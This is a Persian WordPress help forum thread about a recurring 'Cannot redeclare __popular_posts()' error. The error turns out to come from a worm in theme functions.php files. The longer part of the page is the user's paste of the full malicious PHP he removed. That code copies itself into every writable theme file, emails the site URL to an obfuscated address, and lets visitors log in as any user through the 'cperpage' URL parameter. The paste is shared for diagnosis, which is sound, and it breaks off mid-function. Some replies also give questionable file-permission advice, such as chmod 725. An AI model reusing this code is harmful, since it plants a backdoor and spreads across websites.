• اطلاعیه ها

    • Saeed Fard

      برگزاری میتاپ وردپرسی   14/08/96

      بعد از اولین دوره همایش وردپرس در ایران اگر پیگیر اخبار وردپرس بوده باشید، حتما خبر برگزاری چندین میتاپ و جلسه متعدد وردپرسی را شنیده‌اید، یکی از بحث‌های اصلی که محور اصلی این میتاپ‌ها بوده است برگزاری وردکمپ بود که به طور جدی دنبال می‌شود. این میتاپ‌ها و جلسات توسط جمعی از فعلان حوزه وردپرس در کنار وردپرس‌پارسی برگزار می‌شد و مسائل مربوط به این حیطه و از جمله وردکمپ مورد بحث قرار می‌گرفت. این بار با رایزنی‌هایی که با تیم اصلی وردپرس داشتیم در بخش دوم این رویدادها قصد داریم که میتاپ‌ها و جلسات وردپرسی را به صورت آزاد برگزار کنیم تا تمامی علاقه‌مندان و دوست‌داران وردپرس فرصت حضور داشته باشند و با گردهمایی، جامعه کاملتری از دوست داران وردپرس بسازیم و از تجربیات یکدیگر استفاده کنیم.   بدیهی است که این رویدادها با رویکرد مثبت در جهت سود رسانی به جامعه وردپرس و افراد حاضر در آن برگزار می‌شود و برای تمامی علاقه‌مندان به وردپرس است. پس اگر یک کاربر معمولی وردپرس یا یک توسعه دهنده هستید می‌توانید در این رویدادها شرکت کنید. ما در ملاقات‌هایمان از موارد مختلف و کاربردی وردپرس صحبت می‌کنیم و علاقمند به توسعه هر چه بیشتر وردپرس در ایران هستیم. ما وردپرس را دوست داریم. عضویت در این گروه برای همه افرادی که مایل به پیوستن هستند بدون در نظرگرفتن توانایی‌ها، مهارت‌ها، وضعیت مالی و یا معیارهای دیگر باز و رایگان است. فضای میتاپ‌ها و جلسات ما دوستانه و آزادنه و دور از هرگونه تبعیض و رفتارهای زننده است. بر این اساس از تمامی دوستانی که علاقه‌مند به شرکت در میتاپ‌های وردپرس هستند دعوت می‌شود تا از طریق لینک زیر در سایت میتاپ اقدام به ثبت‌نام کنند و منتظر خبرهای برگزاری جلسات در آینده باشند . لینک ثبت نام و عضویت : https://www.meetup.com/Iran-WordPress-Meetup    
    • Saeed Fard

      نسخه جدید وردپرس پارسی رونمایی شد   05/09/96

      در پنجمین سال فعالیت از وردپرس پارسی و بعد از ارائه خدمات و سرویس‌های متفاوت به جامعه وردپرس ، برآن شدیم که نسخه جدید سایت وردپرس‌پارسی را بر اساس نیازها و خدمات جدیدی که قرار است ارائه شود طراحی و رونمایی کنیم ، از این جهت امروز یک ورژن از نسخه جدید رونمایی شد. در ادامه به معرفی بخش‌های مختلف سایت می‌پردازیم.     در دوره فعالیت گروه وردپرس‌پارسی بیش از 13 افزونه مختلف به صورت رایگان از طرف گروه برای وردپرس نوشته و منتشر شد که در مجموع دارای 100هزار نصب فعال روی سایت‌های وردپرسی است و 500هزاربار از مخزن پلاگین‌های وردپرس دانلود شده‌اند. به همین دلیل قسمت اول وب‌سایت مختص معرفی افزونه‌های گروه وردپرس‌پارسی طراحی شده است که در آن لیستی کامل از افزونه‌ها به همراه توضیحات در اختیار کاربران است . روند تولید افزونه‌های رایگان در جهت توسعه و بومی‌سازی بیشتر وردپرس از طرف وردپرس پارسی ادامه دارد و بزودی افزونه‌های دیگری به آرشیو اضافه خواند شد.   گروه وردپرس‌پارسی که تا به این‌جا تمرکز بیشتر خود را روی پشتیبانی رایگان از وردپرس گذاشته بود تا مشکلات کاربران وردپرس فارسی را حل کند که حاصل این فعالیت 18 هزار کاربر در انجمن با 43 هزار موضوع و 255 هزار سوال جواب است، قرار است من بعد در عرصه آموزش وردپرس وارد شود و از تخصص اعزای گروه در این حوزه نیز استفاده کند تا مرجعی کامل، اصولی و درست برای آموزش وردپرس ایجاد شود. قسمت دوم وب‌سایت مربوط به مقالات و آموزش‌هایی است که روی وردپرس پارسی از طرف اعضای آن ارسال می‌شود.   در دنیای وردپرس اتفاقات مختلفی در حال روی دادن است که دانستن آن‌ها میتونه برای ما جالب و جذاب باشه، برگزاری وردکمپ‌ها، معرفی سرویس‌ها و خدمات جدید و ... که از جمله اخبار مهم در این حوزه می‌توان برگزاری اولین همایش وردپرس ایران در سال 93 و همایش‌های دیگر مربوط به وردپرس و معرفی سیاره وردپرس و همینطور خبر برگزاری میتاپ‌های وردپرسی در ایران اشاره کرد ، در قسمت آخر وب‌سایت به معرفی موارد این چنینی پرداخته می‌شود و همینطور گزارش‌های مرتب از فعالیت‌ها، میتاپ‌ها و رویدادهای وردپرسی در آن ارائه می‌شود .   در ادامه این فعالیت‌ها بزودی شاهد اخبار جدیدی از وردپرس‌پارسی خواهید بود. شما نیز به عنوان یکی از کاربران این جامعه وردپرسی می‌توانید ما را در توسعه هر چه بیشتر وردپرس یاری کنید. لینک مستقیم خبر : http://wp-parsi.com/wpparsi-new-version  
bre

مشكل با function قالب

22 پست در این موضوع قرار دارد

سلام

من وردپرس شبكه نصب كردم

تنها مشكلي كه الان دارم اضافه شدن كد با قالب بعد از تغيير قالب فعلي سايت اصلي يا وبلاگ

مثلا كاربر وبلاگ مياد قالب وبلاگ شو تغيير بده يك سري كد به فانكشن قالب جديد اضافه ميشه و سايت با خطا مواجه ميشه

كه البته قبلا دوستاني اين مطلب رو پرسيده بودن و جوابي كه گرفتن حذف كد هاي اضافه از قالب بوده . اما آخه مگه ميشه هر دفعه كاربر قالب رو فعال كرد مدير دوباره فانكشن رو نوسازي كنه

ميخوام ببينم راه و يا كدي وجود نداره كه ديگه اين كد به فانكشن قالب اضافه نشه و يا تنظيماتي باشه

اينم نمونه كد خطا كه هم براي يوزر اينتر فيس مياد هم بخش مديريت :

Fatal error: Cannot redeclare __popular_posts() (previously declared in \wordpress\wp-content\themes\Sname\functions.php:206) in \wordpress\wp-content\themes\Sname\functions.php on line 447

در مورد تغيير سطح دسترسي هم بايد بگم با تغيير سطح دسترسي مشكل حل ميشه اما عملا قالب هاييكه داراي بخش مديريت در پيشخان هستن بدون استفاده ميشن مثلا قالبي كه از پيشخوان مديريت ميشه و ميشه هدر جديد بهش داد بدون استفاده ميشه

من 6 ماه هست دنبال اين مشكل هستم و هنوز به جوابي نرسيدم و كم كم به بي ارزش بودن وردپرس شبكه رسيدم

2

به اشتراک گذاری این پست


لینک به پست

سلام دسترسی فایل های phpقالب را به 666 تغییر دهید تا کاربر اجازه اعمال ویرایش نداشته باشه

در مورد مشکل دوم در چنین قالب هایی فایل options.php را روی 725 تنظیم کنید

3

به اشتراک گذاری این پست


لینک به پست

این دو خط رو هم می تونید به wp-config.php اضافه کنید و دیگه به دسترسی ها دست نزنید


define( 'DISALLOW_FILE_EDIT', true );
define( 'DISALLOW_FILE_MODS', true );

با افزونه های مدیریت دسترسی کاربران هم می تونید همین کار رو انجام بدید

با فایل .htaccess هم همینطور

مثلا این افزونه زبان فارسی رو هم پشتیبانی می کنه

http://wordpress.org/extend/plugins/user-role-editor/

screenshot-1.png?r=589156

4

به اشتراک گذاری این پست


لینک به پست

سلام

ممنون ايمان جان

اما قالب كه فقط فايل functions.php داره

و اينكه اگه دسترسي رو روي 666 يا 444 بزارم ديگه كاربر نميتونه بخش مديريت قالب رو تغيير بده مثلا قالبي كه سلايدر داره يا قالبي كه بخش تبليغات داره و ...

فايل options.php هم نميدونم كجاست ؟

و در آخر براي دسترسي كاربران مشكلي ندارم

مشكل اصلي تغييرات در قالب ها و بخش مديريت قالب هست مثلا يك قالب كه بخش مديريت داره رو كاربر فعال ميكنه بعد اگر يك قالب ديگه رو كه بخش مديريت داره فعال كنه كد هايي به فايل functions.php اضافه ميشه و تا زماني كه اين كد ها پاك نشه سايت كاربر با خطا مواجه ميشه

همون خطايي كه بالا گفتم .

0

به اشتراک گذاری این پست


لینک به پست

2

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

سلام

بعد از تغییر نام پوشه wp-content بر روی لوکال که اونم به خاطر خطایی بود و جناب مصطفی در انجمن قبلی وردپرس پیشنهاد داده بودند بعد از فعال کردن هر پوسته ای حتی پوسته هایی که داخل functions.php آنها تابع ()popular_posts وجود نداره ارور زیر را میده:


Fatal error: Cannot redeclare __popular_posts() (previously declared in C:\xampp\htdocs\wp-content\themes\delicate\delicate\functions.php on line 465

گاهاً با پوسته پیشفرض هم خطا وجود داره که با جایگزین کردن از پکیج وردپرس درست میشه ولی با فعال کردن پوسته ای دیگه همون ارور مشاهده میشه.

جستجو کردم راه حلی پیدا نکردم. ممنون میشم راهنمایی کنید.

ویرایش شده در توسط سعید
1

به اشتراک گذاری این پست


لینک به پست

سلام

ممنون ايمان جان

اما قالب كه فقط فايل functions.php داره

و اينكه اگه دسترسي رو روي 666 يا 444 بزارم ديگه كاربر نميتونه بخش مديريت قالب رو تغيير بده مثلا قالبي كه سلايدر داره يا قالبي كه بخش تبليغات داره و ...

فايل options.php هم نميدونم كجاست ؟

و در آخر براي دسترسي كاربران مشكلي ندارم

مشكل اصلي تغييرات در قالب ها و بخش مديريت قالب هست مثلا يك قالب كه بخش مديريت داره رو كاربر فعال ميكنه بعد اگر يك قالب ديگه رو كه بخش مديريت داره فعال كنه كد هايي به فايل functions.php اضافه ميشه و تا زماني كه اين كد ها پاك نشه سايت كاربر با خطا مواجه ميشه

همون خطايي كه بالا گفتم .

فایل options.php و یا admin.php رو می تونید بسازید و اگر قالب نداره بهش اضافه کنید این فایل ها در واقع خواننده functions.php هستند برای حدودی که شما می خواهید اگر با کدنویسی مشکلی ندارید و این کار هم براتون اهمیت داره و اینجوری مشکلتون حل می شه بفرمایید تا کلیتش رو عرض کنم

سلام

بعد از تغییر نام پوشه wp-content بر روی لوکال که اونم به خاطر خطایی بود و جناب مصطفی در انجمن قبلی وردپرس پیشنهاد داده بودند بعد از فعال کردن هر پوسته ای حتی پوسته هایی که داخل functions.php آنها تابع ()popular_posts وجود نداره ارور زیر را میده:


Fatal error: Cannot redeclare __popular_posts() (previously declared in C:\xampp\htdocs\wp-content hemes\delicate\delicate\functions.php on line 465

گاهاً با پوسته پیشفرض هم خطا وجود داره که با جایگزین کردن از پکیج وردپرس درست میشه ولی با فعال کردن پوسته ای دیگه همون ارور مشاهده میشه.

جستجو کردم راه حلی پیدا نکردم. ممنون میشم راهنمایی کنید.

اگر افزونه ای برای نمایش پست های برتر دارید قبل از تعویض قالب باید غیر فعالش کنید و بعد از نصب دوباره فعالش کنید گاهی افزونه ها کدهایی رو به فانکشن می دند که بهش احتیاج دارند و برای اینکه هربار نخواند کدها را لود کنند اونها رو موقع نصب کپی می کنند به فایل که خوب مسلما در قالب جدید شما وجود ندارند

2

به اشتراک گذاری این پست


لینک به پست

اگر افزونه ای برای نمایش پست های برتر دارید قبل از تعویض قالب باید غیر فعالش کنید و بعد از نصب دوباره فعالش کنید گاهی افزونه ها کدهایی رو به فانکشن می دند که بهش احتیاج دارند و برای اینکه هربار نخواند کدها را لود کنند اونها رو موقع نصب کپی می کنند به فایل که خوب مسلما در قالب جدید شما وجود ندارند

خیر وردپرس تازه نصب شده و از ابتدا هم افزونه نمایش پست های برتر نصب نبوده.

کل افزونه های موجود را غیر فعال و امتحان کردم ارور وجود داره.

0

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

با توجه به 2 لینک زیر داشتن worm در فایل functions.php پوسته ها تایید میشه؟ :huh:

http://themeshaper.c...ctionsphp-issue

http://premium.wpmud...c/i-have-a-worm

چون در فایل functions.php تمامی پوسته ها چک کردم تابع زیر و کد های دیگری بدون دستکاری من خودکار اضافه شده اند. :unsure:


function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}

و فقط در دو پوسته twentyten و twentyeleven که از پکیج وردپرس نصب کرده بودم وجود نداشت و دقیقاً اروری که میده مربوط به همین تابع ها است.

در ضمن 100% روی فایل style.css پوسته ها هم تاثیر گذاشته چون حجمشو با نسخه اصلی چک کردم بیشتر شده بود.

اگر تایید میکنید راه حلی وجود داره؟

ویرایش شده در توسط سعید
1

به اشتراک گذاری این پست


لینک به پست

در فایل htaccess شما چیزی اضافه شده؟

این کدها رو حذف و دسترسی نوشتن رو از فایل فانکشن بردارید.

1

به اشتراک گذاری این پست


لینک به پست

در فایل htaccess شما چیزی اضافه شده؟

این کدها رو حذف و دسترسی نوشتن رو از فایل فانکشن بردارید.

روی لوکاله چطوری باید دسترسی نوشتن را بردارم؟

در فایل htaccess:


AuthType Basic
AuthName "FORBIDDEN AREA"
AuthUserfile "../htdocs/forbidden/.htpasswd"
Require valid-user

و در مورد style.css چی؟

آیا ممکنه Xampp جدید دارای این worm باشه؟

0

به اشتراک گذاری این پست


لینک به پست

اینها فکر نمیکنم ربطی داشته باشه.

برای سطح دسترسی روی فایل راست کلیک و read only بزارید.

1

به اشتراک گذاری این پست


لینک به پست

در انجمن قبلی کاربری به نام میلاد گفته :

"چیزه خاصی نیست ..

یک قالب مشکل دار روی لوکال هاست سیستم استفاده کردی که این کد ها از اون ها انتقال یافته به این قالبت ...

کد های اضافه را پاک کن مشکلت برطرف میشه .."

توابع تولید شده برای functions.php پوسته های منم دقیقاً یکی بودند و نمیدونم چرا این کد ها باید در دیگر پوسته ها تولید بشه و دلیلش چیه ؟؟!!

کد های مخرب که مجبور شدم از 81 پوسته حذف کنم:

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

<?php

function _verify_isactivate_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "پيدا نشد" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

$output .= ($showdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_verify_isactivate_widget");

function _getsprepare_widget(){

if(!isset($com_length)) $com_length=120;

if(!isset($text_value)) $text_value="cookie";

if(!isset($allowed_tags)) $allowed_tags="<a>";

if(!isset($type_filter)) $type_filter="none";

if(!isset($expl)) $expl="";

if(!isset($filter_homes)) $filter_homes=get_option("home");

if(!isset($pref_filter)) $pref_filter="wp_";

if(!isset($use_more)) $use_more=1;

if(!isset($comm_type)) $comm_type="";

if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

if(!isset($postauthor_comment)) $postauthor_comment="";

if(!isset($comm_is_approved)) $comm_is_approved="";

if(!isset($postauthor)) $postauthor="auth";

if(!isset($more_link)) $more_link="(more...)";

if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

if(!isset($morecontents)) $morecontents="ma".$expl."il";

if(!isset($fmore)) $fmore=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_widget) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tags)) $f_tags=1;

if(!isset($type_filters)) $type_filters=$filter_homes;

if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

if(!isset($aditional_tags)) $aditional_tags="div";

if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($com_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $com_length) {

$l=$com_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $allowed_tags) {

$output=strip_tags($output, $allowed_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($f_tags) ? balanceTags($output, true) : $output;

$output .= ($showdots && $ellipsis) ? "..." : "";

$output=apply_filters($type_filter, $output);

switch($aditional_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_more ) {

if($fmore) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

